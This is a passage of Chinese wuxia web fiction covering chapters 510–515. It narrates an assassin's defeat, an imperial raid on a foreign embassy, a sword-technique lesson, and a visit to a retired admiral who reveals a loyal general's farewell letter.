而对面的长谷川,也保持着前刺的姿势,手中软剑平举。 “嗤......”数息的死寂之后,一道如同绸缎被撕开的声音响起。 只见长谷川胸口的衣衫,毫无征兆地裂开一道整齐的口子,一抹殷红的血线骤然浮现,随即,鲜血如同压抑已久的喷泉般飚射而出。 他目光中充满了极致的惊骇与难以置信,但却并未低头去看胸口那道足以致命的伤口,而是死死地盯着前方持刀而立、面无表情的阎鹤诏。 “你……你竟然突破……” 话音未落,仿佛连锁反应被触发,一连串密集的轻响传来。 “嗤嗤嗤......” 只见长谷川的全身上下,瞬间同时迸开十余道深可见骨的恐怖伤口,鲜血如同决堤的洪水,从各处伤口疯狂涌出,瞬间将他染成了一个血人。 长谷川双目圆瞪,瞳孔中凝固着震惊、不甘、以及一丝茫然,身体晃了晃,缓缓倒地。 远处阴影中,凌川不由自主地倒吸了一口凉气。 相比当初杨铁匠秒杀蛇王的一剑,阎鹤诏方才这一刀,带给他的视觉冲击和心灵震撼,无疑要更加强烈得多。 倒不是说阎鹤诏这一刀的威力就一定强过了杨铁匠那返璞归真的一剑,而是因为凌川自身的实力和眼界,与当初已是天壤之别。 当时在岊湬阁看到那一剑的时候,他不过才刚刚触摸到修炼的门槛,甚至都不能算是武修。 而如今,他已经能战胜六重境武修,加之修炼道藏之后,眼力和心境都得到了大幅度提升。 如今的他,已经能勉强捕捉到阎鹤诏出刀的轨迹,更能清楚感受到那一刀之中蕴含的杀伐意志。 如果说,当初在岊湬阁中,凌川只能算是一个看热闹的外行,那么,此时他就是一个看出门道的内行。 第一卷 第510章 夜袭驿馆 “热闹看够了吗?”阎鹤诏的目光,穿透百步距离,精准地落在了他藏身的这片阴影之中。 对于他能发现自己,凌川倒是丝毫不觉得意外。 只见他脸上挤出一丝略显尴尬的笑容,从墙下的阴影中坦然走了出来,来到近前,浓郁的血腥味扑鼻而来。 凌川低头看去,只见倒在地上的长谷川,浑身布满了纵横交错的刀伤,每一道都深可见骨。 “总督大人,这家伙......该不会是冲我来的吧?”他指了指自己的鼻子问道。 阎鹤诏白了他一眼,说道:“古人又云:人贵在自知……” 他手腕一抖,螭玄刀精准地滑入鞘中,发出一声清脆的合扣声。 随即轻叹一声:“真不知道你小子上辈子做了什么天怒人怨的事,你自己想想,自打你离开北疆开始,这一路上,明里暗里想要你脑袋的人,就没消停过!” 这番话让凌川哭笑不得,不过,他不得不承认,阎鹤诏说的是事实,抛开血衣堂和丹青府的杀手不说,先有蛇王、屠夫,现在又多了一个大和高手长谷川。 显然,阎鹤诏已经接到消息,长谷川奔着自己的住处而来,故此,他离开皇宫之后,并未回府,而是径直赶到了凌川所在的王府外截杀长谷川。 至于长谷川为何要杀自己,凌川也懒得去想,不外乎是自己在今晚的宴会上让大和使团接连吃瘪,还废掉了孤冥这位剑圣高徒。 当然,这背后隐藏了多少肮脏的交易,又是多少人利益权衡的结果,凌川也懒得去想。 而且,今晚在御书房的时候,陛下的态度就已经很明确,要与大和开战,虽说两国交战不斩来使,但长谷川杀了廷尉府前任总督,那就断然不可能让他活着离开神都。 阎鹤诏接管廷尉府,这笔账也理应由他来收,不仅是挽回廷尉府的颜面,更是树立威信。 但,这也变相展现了皇帝的铁血与果决,一旦做出决定,便毫不拖泥带水,直接出手。 就在阎鹤诏与长谷川在王府外交手的前后脚,另一场风暴也已悄然降临。 约莫一炷香之前,蓝少堂已经亲自率领一千精锐禁军,如同暗夜中涌动的铁流,直扑大和使团下榻的驿馆。 没有任何警告,没有任何交涉,抵达之后,直接发动了雷霆一击。 驿馆中虽有两三百名来自大和帝国的精锐士兵,但这里是神都,是大周的心脏腹地,而且,出动的乃是装备精良、训练有素的禁军精锐。 一千禁军如同铜墙铁壁,将驿馆围得水泄不通,紧接着,伴随一声令下,成片点燃了油布的火箭,如同飞蝗般从四面八方呼啸着射入驿馆之中。 木质结构的房屋瞬间被点燃,火借风势,迅速蔓延开来,熊熊火光映红了半边夜空,惊叫声、怒骂声顿时响成一片。 镜千泷第一时间反应过来,她虽惊不乱,立刻组织手下亲信武士,保护着花容失色的雪姬公主试图向外撤离。 然而,她们刚冲出起火的主屋,迎接她们的便是如同暴雨般倾泻而来的密集箭雨。 强劲的弩箭带着凄厉的破空声,将冲在最前面的几名大和武士瞬间射成了刺猬,其余的武士只能护着雪姬公主,狼狈地退回火势越来越大的屋内。 “八嘎!”镜千泷又急又怒,姣好的面容在火光映照下显得有些扭曲。 她双刀瞬间出鞘,交叉护在惊慌失措的雪姬公主身前。 身后,是越烧越旺、不断有梁柱垮塌的烈焰;外面,是连绵不绝、夺人性命的箭雨,不断有大和士兵中箭倒下,发出临死的哀嚎。 她几次三番,亲自带着武艺高强的部下,试图选择不同的方向强行突围。 但禁军的包围圈如同铁桶一般,配合默契,弓弩压制、长枪突刺、刀盾阻截,层次分明,根本没有任何破绽。 她几次硬冲,非但没能撕开缺口,反而又折损了不少人手,就连她自己的手臂也被流矢划伤,鲜血浸湿了衣袖。 无奈之下,她只能护着雪姬公主,在少数亲卫的簇拥下,转向防守相对薄弱的驿馆后门,企图从那里寻找生机。 然而,还未等她们靠近后门,那扇厚重的木门竟‘轰隆’一声,被人从外面以巨力猛然撞开。 木屑纷飞中,只见一名身着重铠、宛如铁塔般的壮汉,手持一柄寒光闪闪的陌刀,一马当先,带着一队如狼似虎的禁军士兵杀了进来,彻底堵死了她们的退路。 来人不是别人,正是之前负责接他们进入神都的三大禁军统领之一,蓝少堂! “蓝将军!你这是什么意思?难道大周要背信弃义,屠戮使节吗?”雪姬公主强自镇定,但微微颤抖的声音还是暴露了她内心的恐惧,厉声喝道。 蓝少堂目光冷峻如冰,沉声喝道:“陛下圣谕!大和使团包藏祸心,袭杀朝廷命官,图谋不轨!现奉旨,诛杀外邦贼子!” 话音刚落,他不再废话,手中那柄沉重的陌刀划破空气,直接朝着挡在最前面的镜千泷劈杀过去。 镜千泷银牙紧咬,心知已无退路,唯有死战。 她低喝一声,双刀迎上,刀光如雪,迎向那势大力沉的一击。 “铛!”金铁交鸣声震得人耳膜生疼。 镜千泷只感觉一股无可抵御的巨力顺着刀身传来,双臂酸麻,手中双刀险些脱手飞出。 她闷哼一声,身形不受控制地向后踉跄退去,足足退了五六步才勉强稳住,脸色瞬间一片苍白,呼吸也变得急促起来。 而蓝少堂却是纹丝不动,只是眼神更加冰冷。 他得势不饶人,根本不给镜千泷任何喘息和施展忍术的机会,低喝一声,再次大踏步上前,手中陌刀挥舞开来,招式大开大合,每一刀都带着沙场悍将特有的雷霆万钧之势,刀锋呼啸间,杀机如潮水席卷而出。 在这种狭窄、混乱且被团团包围的局面下,镜千泷引以为傲的忍术根本无从施展,只能被迫与蓝少堂进行硬碰硬的正面交锋。 第一卷 第511章 雷霆出击 几番激烈碰撞下来,镜千泷虎口已然崩裂,渗出鲜血。 此时,她已经被蓝少堂刚猛无俦的刀势逼得连连后退,最终退到了雪姬公主的身前,再也无路可退。她脸色煞白,气息紊乱,手中的双刀更是颤抖不止,几乎拿捏不稳。 “你们......你们这是铁了心要与我大和帝国开战吗?就不怕我大和十万水军,踏平你大周海岸吗?”雪姬公主面色惨白如纸,看着身边不断倒下的护卫,声音带着绝望的尖厉。 蓝少堂手中陌刀斜指地面,血珠顺着刀锋滑落,他沉声回答道,声音不带一丝波澜:“本将接到的命令是,将尔等大和使团,全部拿下!胆敢持械反抗者,杀-无-赦!” 最后三个字,他咬得极重,带着森然的杀意。 “我乃大和帝国公主!你们谁敢杀我?我要见周皇陛下!他就不怕我大和十万水军,踏平你大周海岸吗?”雪姬公主试图抓住最后一根救命稻草。 蓝少堂冷哼一声,语气中带着毫不掩饰的嘲讽:“那就请公主殿下乖乖束手就擒!本将军自会将你的请求,如实禀告陛下!至于陛下见不见你,那就不是本将军能决定的了!” 此时,他们已经被禁军团团包围,水泄不通。 身边除了伤痕累累、勉强支撑的镜千泷之外,就只剩下二三十名护卫,同样的个个带伤,围成一个小小的圆圈,做着徒劳的抵抗。 所有人都很清楚,照此下去,不消片刻他们便会被禁军彻底淹没,诛杀殆尽。 如果长谷先生在这里......雪姬公主脑海中闪过这个念头。 以他深不可测的九重境修为,或许还能有机会带着自己杀出重围。 奈何,他并不在驿馆中,而且,蓝少堂偏偏选择在这个关键节点,毫无预兆地发动突袭,长谷先生至今未归,多半是出事了…… 至少,他短时间内不可能赶回来相救。 想明白这一点,一股彻骨的寒意从雪姬公主的脚底直冲天灵盖。 所有的骄傲、所有的依仗,在此刻都被现实无情地击碎,最终化为一道无力的喊声:“住手!所有人放下武器......” 听到公主的命令,那些还在负隅顽抗的护卫面面相觑,最终,纷纷丢下了手中的武士刀,一个个脸上写满了屈辱。 前后不到半个时辰,这场突如其来的风波便以绝对的优势迅速平息下来。 很快,驿馆的大火也被随后赶来的救火队控制住,没有再蔓延。 在打扫战场的时候,几名禁军士兵在一段围墙根脚,发现了欲趁乱化妆逃走的、修为被废的孤冥。蓝少堂迅速赶到,将其与其他人一同拿下。 随后,包括雪姬公主、镜千泷以及孤冥在内的数十名使团核心成员,全部被戴上枷锁镣铐,押往廷尉府大牢,严加看管。 他们,本是带着傲慢与算计,耀武扬威而来。 原本想着,背后有十万大和水军陈兵东海施压,私下又与神都各方势力勾结,大周帝国此刻内忧外患,定然不敢与他们撕破脸,只会委曲求全。 他们甚至已经做好了准备,要在明日的朝会上狮子大开口,向大周索要巨额的金银物资作为补偿,甚至还要割让沿海城池等好处。 然而,他们做梦也没想到,还未等到朝会,他们便从座上宾,沦为了阶下囚! 直到这一刻,雪姬公主算是彻底明白了,大周皇帝,这是铁了心要与大和帝国开战。 可她实在想不明白,根据他们之前得到的情报,大周本身已经是千疮百孔,党争内斗不休,边关不稳,随时可能从内部土崩瓦解。 在这种自身难保的关头,他们究竟是哪里来的底气,敢如此强硬地与大和帝国全面开战? 而眼下,对于她,对于大和帝国而言,最重要的事情,就是必须有人能将神都剧变、使团被扣押的消息,尽快送回去。 只有这样,陈兵海上的十万大和水军,便可名正言顺地对大周东疆发起猛烈进攻,以战逼和,或许还能救出他们。 蓝少堂这场毫无预兆、迅雷不及掩耳的突袭,将整个使团高层一网打尽,几乎无人漏网。 现在,她只能将最后一丝渺茫的希望,寄托在长谷川身上,祈祷他能侥幸逃出神都这座龙潭虎穴,将消息成功送回去。 然而,他不知道的是,这个希望在她被抓之前,就已经破灭了。 …… 晨光熹微,庭院中的花草还带着露水,凌川照常起床练功。 他在脑海中一遍遍回放杨铁匠施展那一剑的画面,手上也一遍又一遍地重复着那个动作,希望能够进一步领悟这一剑的精髓。 “小子,你拜过师了吗,就学老夫的剑招!”就在凌川练得入神的时候,杨铁匠那熟悉的声音响起。 凌川转身看去,只见一袭青衫的杨铁匠不知何时正躺在院墙上,一脸笑意地看着他。 数日不见,他并无太大变化,只是那件青色长衫脏了很多。 “杨老头,你最近去哪儿了?”凌川连忙迎了上去,问道。 “咱们当初可是说好的,我把你安全送到神都,其他的我啥也不管,你还真把老夫当你的护卫了?”杨铁匠瞥了他一眼,说道。 凌川瞧见他手中轻飘飘的酒葫芦,连忙对着不远处喊道:“苍蝇,去给杨师傅打一壶酒来!” 杨铁匠翻身落到院中,动作轻盈如燕,将酒壶取下来丢给苍蝇,笑道:“还是你小子会来事!” “杨老头,你事儿办完了?”凌川好奇问道。 杨铁匠神色中闪过一抹黯然,摆手道:“我哪有什么事,不过是故地重游,到处走走看看而已!神都这些年变化很大,但有些东西,始终没变!” 随即,他伸手扣住凌川的手腕,仔细感应了一番,脸上露出惊讶之色:“难怪能干掉六重境武修,你小子,没丢老夫的脸!虽然依然只有一道真气,但其精纯程度,就连老夫也是从未见过!” 凌川会心一笑,说道:“能战胜孤冥得多亏了你,否则,我哪那么容易得到道藏?” 第一卷 第512章 潮引 杨铁匠不以为意地摆了摆手,问道:“你真仅凭当初看那一眼,就施展出了老夫的潮引?” “潮引?”凌川眼神中满是不解。 “就是昨晚你施展的那一剑!”杨铁匠解释道,眼中带着审视的光芒。 “原来那一剑名叫潮引啊!”凌川点头说道,脸上露出恍然之色,“当日虽然只是看了一眼,但那一幕却在我脑海中挥之不去,昨日修得道藏之后,再去回想你出剑的画面,内心生出感悟,便试了试,没想到竟然成功了!” 杨铁匠狠狠瞪了他一眼,语气中带着后怕:“你小子也是命大,要是换做其他人,轻则留下十天半月下不来床,重则经脉尽毁,终生残废!” “啊?这么严重?”凌川不由得惊呼一声,背后冒出冷汗。 “你以为老夫吓唬你?”杨铁匠继续说道,神色严肃,“那一剑之所以名为潮引,是老夫观广陵大潮心有所悟创出的剑招。此招的精髓在于厚积薄发,看似简单,实则对真气控制的要求非常高。就像海潮涌动,表面平静,实则暗流汹涌。稍不留神便会导致真气逆行,撕毁经脉气海!” 杨铁匠语气中带着几分责备,说道:“也就你小子命硬,再加上修炼了道藏,体内真气远比常人精纯凝练,要是换做其他武修,不死也得丢半条命!” 听杨铁匠这么说,凌川只感觉后背发凉。 他原本以为那一剑虽然难以掌握,但没想到其中竟有如此凶险,看来修炼一途还真不能想当然,要不然自己可能连怎么死的都不知道。 “不过……”杨铁匠话锋一转,眼中露出赞赏,“你仅看一遍,就能模仿出来,着实令老夫感到意外。虽说只具其形不得其神,但能击败一位六重境武修,也足以令天下震惊!这份悟性,便是放在整个江湖年轻一辈中,也是顶尖的了!” “这应该是我修炼了道藏的缘故!”凌川一脸认真地说道,“自修炼道藏之后,不仅在力量、速度、真气和感知这些方面提升了一大截,而且,我无意间发现,很多事物自己都能一眼洞悉其本质,就像昨晚看阎鹤诏出刀,虽然他的刀法快如闪电,但我却能隐约感受到其中蕴含的真意!” 听到凌川的讲述,杨铁匠也微微点了点头,捋着胡须说道:“道门始经,那可不是浪得虚名的。放眼天下,很多被封为宝典的内家功法,都能从中找到这部始经的影子。你也是命好赶上了,这机缘,不知要羡煞多少江湖中人!” 凌川笑了笑,趁着杨铁匠心情不错,赶紧问道:“对了杨师傅,潮引这一剑的精髓到底是什么?给我讲讲呗!昨晚虽然勉强使出来了,但那一剑却险些将我气海中的真气抽干,连站都站不稳!” 杨铁匠盯着凌川,嘴角露出一抹意味深长的笑意,说道:“实话说,并非老夫吝啬,而且,我并不是没想过将我的剑道传授于你,只是之前一直认为,你不适合练剑,更不适合老夫的剑道!可老夫也没想到,你小子竟然仅靠自己琢磨,便使出了这一剑。看来,是老夫看走眼了!” 说完,他缓缓起身,抬手往虚空一握,顿时,周围的空气仿佛随之凝固。 只见他掌心之中,一道半透明的真气缓缓凝聚,最终化作一柄水色长剑,那剑身仿佛由流动的清水组成,在晨光下泛着粼粼波光,却又散发着令人心悸的锋锐之气。 杨铁匠的声音变得低沉而肃穆,“这一剑的真意,不在形,而在势......” 他手中的水色长剑微微颤动,剑身上的波光流转得更加迅疾,仿佛真的有江水在其中奔涌。 “就如那广陵江大潮,最初不过是一道毫不起眼的微澜,可一路翻滚,不断蓄势蓄力,最终却足以摧毁一切!”杨铁匠那凌厉的目光紧盯着剑身,整个人仿佛与剑融为一体。 凌川屏住呼吸,目不转睛地看着,他能感受到四周的空气正在发生微妙的变化,仿佛有无形的力量在杨铁匠周身汇聚。 “小子,看好了!” 随着话音落下,他挥手一剑斩出。这一剑依旧是那般缓慢,仿佛是随意挥出,只见那剑锋划开虚空,整个过程无声无息,但凌川却能清楚地看到那道被划开的口子,就像一块完整的绸布被利刃悄无声息地裁开。 不仅如此,凌川还看到,被劈分为二的虚空之中,无尽气流朝内翻卷,仿佛被吞噬进那道口子中,以至于,那道口子越往前推进,就会变得越庞大。 从最初的细如毫发,顷刻间便粗大如滚滚浪潮,带着吞噬天地的气势向前推进。 忽然,凌川感觉自己的心神也被吞噬到那条口子中,近距离感受这一剑的真意。他仿佛置身于广陵江畔,亲眼目睹那排山倒海的大潮,感受着其中蕴含的毁灭性力量。 杨铁匠不见了,但那道横贯于大江之上的浪潮却一次又一次地重演,朝着他席卷而来,周而复始。 每一道巨浪拍来,都有新的感悟涌上心头,他看见潮起时的平静,潮涌时的蓄势,潮落时的余威,每一个细节都深深烙印在脑海中。 也不知过了多久,大江之上的凌川闭上双眼,而现实中的凌川却缓缓睁开双眼,他的眼神变得深邃了许多,仿佛经历了一场漫长的修行。 “感觉怎么样?”杨铁匠的声音在不远处传来,只见他不知何时已经坐在院中的椅子上,翘起二郎腿,手里拿着那只酒葫芦,正悠闲地品着酒。 “差不多!”凌川回答道,语气中带着几分明悟。 杨铁匠眉头微蹙,“差不多是几个意思?” “我感觉自己领悟得差不多了!”凌川平静地说道,眼神中闪烁着自信的光芒。 杨铁匠闻言,手上的动作为之一顿,眼神中更是写满了震惊,他缓缓站起身,仔细打量着凌川,仿佛要将他看穿。 要知道,当年自己开创这一剑,可是花了整整三个月,凌川前后只看了两遍,竟敢大言不惭说自己领悟得差不多了。 要是别人这样说,他一定认为对方是在说大话,但他很清楚,凌川这个怪胎根本不能用寻常眼光去看待。 第一卷 第513章 安国公张泊远 吃过早饭后,凌川便把自己关在书房,开始琢磨东疆的作战策略,桌案上铺满了沿海地图和各类兵书,他的手指在地图上缓缓移动,眉头时而紧锁,时而舒展。 苏璃见他如此投入,直接把饭菜送到书房,轻轻放在桌角,柔声道:“相公,先吃点东西吧!” 凌川抬起头,这才发现已是正午时分,他揉了揉发胀的太阳穴,笑道:“有劳娘子了!” 苏璃见他面露疲惫,心疼地说:“就算再忙,也要注意身子!”她细心地将饭菜摆好,又为他斟了一杯热茶。 可就在这时,凌川却叫住了她,问道:“娘子可知道,这神都之中有谁了解东疆水师的情况?” 苏璃想了想,说道:“要说了解的人并不少,廷尉府和禁军之中,不少人都曾出自东疆水师!比如禁军的蓝统领,就曾在东疆服役多年。” 苏璃顿了顿,继续说道:“不过,真要说了解的话,他们都比不上那位!” “那位?是谁?”凌川十分好奇,追问道。 “前任东疆水师主帅,张泊远!”苏璃的语气中带着敬意。 凌川想起,前几日廷尉府送来的情报中提到过,东疆水师上一任主帅名为张泊远,乃是一代名将,他执掌东疆三十万水师的时候,尚且能威慑东疆诸多小国,就算是大和帝国也要避其锋芒。 他一生历经大小战斗不下百场,虽然胜负参半,但却能稳稳守住东海沿岸不受帝国和海岛侵袭,将所有战火都挡在国土之外,在军中有‘东海屏障’的美誉。 然而,十年前,大和水军大举入侵,他率东海水师迎战,沂州、莱州、楚州三线开战,激战数月不休,双方将士死伤无数。 那一战打得天昏地暗,据说海面上漂浮的战船残骸连绵数里,海水都被染成了红色。 最终,东疆水师以数万将士战死为代价,挡住了这场数十年来最凶猛的入侵。 而战死者数万人中,便有张泊远的三个儿子,其中,两位义子,还有一个是他的亲生儿子,他本人,虽然捡了一条命回来,但也丢掉了一条手臂。 此战之后,他便带着几位儿子的骨灰,回到神都请辞,据说离任那天,东疆水师全体将士列队相送,东疆百姓沿途叩拜。 虽然情报中,只有几句简短介绍,可凌川却对这位老将的遭遇唏嘘不已。 他能想象到,一个失去三个儿子、又失去一条手臂的老将军,内心承受着怎样的痛苦,战争的残酷无处不在,这一刻,凌川对这句话有了更深的体会。 “张老将军住在何处?”凌川连忙问道,语气中带着急切。 “我们两家原本是邻居,我小时候,还经常去他们家里玩呢!”苏璃说着,眼中流露出怀念的神色,“张爷爷待我极好,每次去都会给我准备糖果点心。” “我想去拜访老将军,娘子觉得是否妥当?”凌川眼神之中十分激动。 苏璃点了点头,说道:“要是其他人去,未必见得着他,但我去肯定可以!张爷爷自从卸任后,就很少见客了,整日待在府中,连朝中大臣的拜访都一概回绝。” 按理说,拜访这种德高望重的长辈,应该上午来,可凌川实在是等不了了,便拉着苏璃一起出门,由翠花驾车,在路上买了些礼品,便直奔老将军的府邸。 张老将军的府邸位于朱雀大街东侧的安仁坊,与被查封的苏府仅有一墙之隔。陛下念及老将军戎马一生,劳苦功高,封其为安国公,颐享晚年。 安国公府并不像预想中的那般奢华气派,青砖灰瓦,朴实无华,但,门前打扫得异常干净,连一片落叶都看不见。门前的石狮子历经风雨,已经有些斑驳,却更添几分沧桑厚重。 凌川扶着苏璃下车之后,并未立即进入安国公府。 只见苏璃双眼愣愣地看着旁边的一座府邸,这座曾经喧闹的府邸,如今已是门可罗雀,大门前长满了杂草,一片萧瑟,门楣上的漆皮已经剥落,露出里面的木质纹理。 大门之上的牌匾已经被摘去,门上还贴着刑部的封条,尽管过去了整整一年,但封条上的鲜红印章依旧无比醒目,像一道永不愈合的伤口。 霎时间,苏璃的目光被拉回到童年时光,一家人其乐融融的日子。 她仿佛看见父亲在院中指点哥哥练枪,母亲则是在教她做女红,虽然父亲常年在边关,后来哥哥也跟着父亲到了南疆军营,但,那种牵挂与等待,也是一种幸福。 每逢佳节,一家人团聚的时刻,总是充满欢声笑语。 直到一年前的那个夜晚,禁军与廷尉府冲进苏家……那一夜的灯火通明,那一夜的哭喊声,那一夜的刀光剑影,至今历历在目。 哪怕已经过去了一年,可那一幕幕画面,依旧在脑海中挥之不去。这一年多以来,每每午夜梦回,她总会被那晚的记忆惊醒,浑身冷汗淋漓。 尽管她已知晓,这件事情的背后另有隐情,父亲是为了大周江山以身入局,可她依旧难以接受这个残酷的现实,那个曾经充满温暖的家,就这样在一夜之间支离破碎。 凌川轻轻拉着她的手,小声问道:“要不过去看看?” 苏璃摇了摇头,声音有些哽咽:“不了!” 回到家门口,却早已物是人非,靠近只会徒增悲伤而已。 这种感觉,凌川能够想象。他握紧了苏璃的手,传递着无声的安慰。 “走吧相公!”苏璃深吸一口气,努力平复情绪,转身带着凌川朝着安国公府走去。 表明来意之后,一名白发苍苍的老管家将二人带入府内。 凌川惊讶地发现,这偌大的国公府中冷冷清清,这一路走来,除了老管家之外,并未看到其他下人,庭院打扫得很干净,但缺少了寻常府邸应有的生气。 按理说,以国公府的地位,百十个下人也是情理之中的事情,可这幅景象,着实让凌川没想到。 廊庑下的红漆有些剥落,园中的花草也显得有些杂乱,显然缺少专人打理。 苏璃也十分好奇,问道:“姚管家,怎么没看到府上的下人?” 第一卷 第514章 一封绝笔信 “小姐,自安国夫人去世后,国公爷便遣散了府上的下人,仅留下几个人照顾他的起居!”老管家叹了口气,脸上露出伤感的神色。 苏璃闻言顿时一惊,连忙追问道:“夫人去世了?什么时候的事情?” 姚管家点了点头,声音低沉:“就是半年前的事情!夫人自从三位少爷战死后,身体就一直不好,去年冬天染了风寒,就……” 苏璃不由得感慨,一年前,夫人身体还十分健朗,没想到一年之后,她已然故去。 她记得张夫人是个慈祥的老人,每次她去府上玩耍,夫人都会亲自下厨给她做最爱吃的桂花糕。 随后,姚管家将二人带到后院,只见一名满头白发的独臂老人,安安静静地坐在树下的石凳上。 他穿着朴素的灰色长衫,空荡荡的右袖管随风轻轻飘动,阳光透过树叶的缝隙,在他身上投下斑驳的光影。 “老爷,苏璃小姐和凌川将军来了!”姚管家凑到他身边,小声说道。 老人这才转过身来,看到站在门外的苏璃,眼神中露出一抹溺爱之色,“小璃啊,快进来吧!”他的声音有些沙哑,却透着暖意。 “张爷爷!”苏璃连忙走了进去,表现得十分亲近,就像回到自己家一样。 凌川则是恭恭敬敬行了一礼,“晚辈凌川,见过老将军!” 作为军中将领,称其为老将军比安国公更为妥当。凌川注意到,尽管年事已高,身姿已不那么笔挺,但眉宇间正气凝而不散,依稀可见当年轻时的风范。 张泊远连连点头,说道:“不必多礼,我现在就是个半身入土的糟老头子,哪是什么将军,哈哈哈……”他的笑声爽朗,却掩不住岁月留下的沧桑。 这位年过古稀的老将军满脸皱纹,眼神浑浊,加上年轻时一身暗伤,身体显得有些虚弱,但他的目光在扫过凌川时,依然带着特有的锐利。 以往,人们称苏定方为苏老将军,大多是尊称,但这位原东疆主帅,却是真正的老资格。 真要严格算起来,他比苏定方还要高出一辈,乃是先皇最信任的人之一,当今陛下即位的时候,他便已经是东疆主帅。 而且,哪怕是陛下即位,也依然让他执掌东疆水师,并没有换成自己的班底,足见对他的信任。据说当年先皇临终前,曾特意嘱咐当今陛下,东海之事,可尽托付于张泊远。 老人示意二人坐下,随后管家亲自为二人奉了茶,茶香袅袅,在院子里弥漫开来。 “一年多不见,小丫头都嫁人了!”安国公笑道,眼神慈爱地看着苏璃。 “张爷爷,不许笑话人家!”苏璃脸上浮现一抹羞红,撒娇道。 从这些细节不难看出,此前两家十分亲近,苏璃在张泊远面前,完全就是小孙女的模样。 老将军单手捋了捋胡须,笑道:“这哪是笑话啊,老头子我是看到你有个好归宿,替你高兴啊丫头!” 紧接着,他指了指凌川,说道:“英俊潇洒、一表人才,年纪轻轻便名满天下,这么好的夫君,你就算把这神都翻遍,也找不出几个!” 被这么当面猛夸,饶是凌川也有些羞愧,连忙欠身道:“老将军过奖了!” 苏璃更是连忙岔开话题,问道:“怎么没看到小破虏啊?” “那小子,估计是去禁军大营了,一天天的见不到人!”老爷子笑道,语气中带着几分无奈,又透着宠爱。 苏璃口中的小破虏乃是老将军的孙子张破虏,比苏璃小两岁,经常相互串门玩耍,凌川记得情报中提到,这是张老将军唯一在世的直系血脉。 这孩子也是可怜,父亲战死之后,没多久母亲也郁郁而终,从小跟随爷爷奶奶一起生活。 或许是将门世家的血脉基因,这家伙从小对识文断字不感兴趣,只爱舞刀弄枪,就算被迫读书,也只读兵法韬略,对于传世经典从来都不屑一顾。 近几年一直嚷嚷着要去边关建功立业,可他作为张家的独苗,二老自然不想让他去冒险,无奈只能送到禁军里面,让他感受军营的生活。 然而,张破虏年纪虽轻,却已在禁军中崭露头角,颇有祖父当年的风采。 双方寒暄了几句,凌川便主动道明来意。 “老将军,实不相瞒,晚辈今日来,是有事相求!” 安国公轻抚茶盏,浑浊的眼眸中闪过一丝了然:“是为东疆局势而来的吧?” 凌川闻言心头一震。这位老将军虽已远离朝堂,却仍对天下大势洞若观火。既然能一语道破他的来意,想必早已料到陛下要与大和开战的决心。 “老将军料事如神,晚辈拜服!”凌川由衷赞叹。 安国公淡然一笑,缓缓起身:“随我来书房吧!”行至门前,他略作停顿,侧首道:“小璃也一同来吧!” 苏璃连忙上前搀扶着他,安国公虽年迈,步履却仍稳健,却并未推辞苏璃的搀扶,任由她扶着穿过庭院,步入书房。 书房内陈设简朴,唯有满架兵书透着肃杀之气。 老将军行至书架前,开启一处隐秘暗格,取出一封保存完好的信函,信纸虽已泛黄,墨迹却依旧清晰,可见珍藏之用心。 他将信递给苏璃,声音低沉:“这是一年前,你父亲回神都时托人送来的密信!” 苏璃双手微颤,接过信笺细看,顿时泪盈于睫:“确是父亲笔迹!” 她缓缓展开信纸,薄薄两页纸,却似有千钧之重,每读一行,脸色便凝重一分,待到读完,已是泪痕斑驳。 “相公,你且看......”苏璃将信递与凌川。 凌川郑重接过,但见信上写道: “大将军钧鉴: 暌违日久,拳念殊殷。今国势日蹙,内有权臣擅政,门阀骄横;外有强邻环伺,虎视眈眈。陛下虽有中兴之志,然处处掣肘,纵有经天纬地之才,亦难展抱负。永夜猖獗,暗流汹涌,社稷危如累卵。 今南疆已平,陛下召臣还朝,欲借臣微薄之力制衡黄齐。然臣深知此非治本之策,纵能暂稳朝局,难解天下倒悬之急;欲挽狂澜于既倒,必得有人以身为薪,点燃星火。臣愿效古之烈士,舍此残躯,诱使宵小尽现原形! 臣戎马半生,早将生死置之度外。拙荆深明大义,愿与臣同赴黄泉。纵使千夫所指,遗臭万年,亦在所不惜。唯念及犬子弱女,夙夜难眠。若天不佑苏氏,致使血脉断绝,亦是命数使然。倘得苟全,望公他日以此书相示,令其知臣之心迹。 苏氏世代忠烈,报国本是臣子本分,今愿以身家性命,换社稷一线生机,虽九死其犹无悔! 临书仓促,不尽欲言。 伏惟 珍重 苏定方绝笔 昭元二十六年五月!” 信纸在凌川手中微微颤动。 这字里行间透出的决绝之意,令人肃然起敬。 他仿佛看到对方在灯下挥毫时坚毅的面容,感受到那种‘虽千万人吾往矣’的悲壮与决绝。 第一卷 第515章 胜负手 凌川只感觉手中这两页薄薄的纸张重愈万钧,指尖微微发颤,心中更是格外沉重。 如果说,首次面圣,在养心殿中,皇帝说出内情时,凌川心中还存有几分疑虑,那么,在亲眼看到岳父苏定方留下的这封绝笔信后,二人心中最后那一丝疑虑也随之烟消云散。 凌川虽没见过苏定方的字,但苏璃是绝不会认错的,那字里行间透露出的决绝与悲壮,宛如一把尖刀刺在胸口。 苏璃早已泪流满面,晶莹的泪珠顺着脸颊滑落,滴在衣襟上晕开深色的痕迹。 她纤细的手指紧紧攥着衣角,各种情绪如潮水般涌上心头,让她心乱如麻,既为父亲的忠烈而骄傲,又为家人的遭遇而心痛。 安国公长叹一声,声音中带着岁月沉淀的沧桑:“”你父亲不惜用身家性命来为天下百姓博一线生机,实在是可敬可佩,只是委屈了你们兄妹二人!” 老人目光中满是怜惜,继续说道:“他以身入局,看似自废武功,实则却是在千疮百孔的棋盘上杀出一线生机,这一年多来,陛下一边示敌以弱、一边诱敌深入,同时也在暗中谋划,眼下,这盘棋已然到了收官阶段!” 他转过身,目光如炬:“此前,老夫一直在琢磨,胜负手在何处。直到昨晚,陛下扣押大和使团,我才终于找到答案!”他的目光直视凌川,“这决定胜负的一子将会落在东疆,而你,便是这盘棋的胜负手!” 紧接着,他再次从书架上取出一封厚厚的文牒,郑重地交到凌川手中:“你要的东西,老夫早就准备好了!所有情报都在这里面!” 老人陷入回忆,声音低沉:“老夫收有五位义子,皆是战死同袍托孤于我的遗子,与我儿子张翰霆合称‘东疆六蛟’,只可惜,十年前那一战,韩鲸涛、季千帆与我儿子张翰霆一起战死东海!剩下的毕潮生、廖沧横、卫澜三人,如今依旧在东疆水师担任将领。” “原本,当年心灰意冷解甲归田之后,便没再关心朝堂乃至东疆局势,可苏定方的举动让我心生触动,决定还是将东海水师掌握在手中。尽管林远图接管水师之后,便陆续换掉了老夫留下的心腹,但那毕竟是我倾尽一生打造的班底。老夫若不想放手,又岂是他能轻易撼动的?” 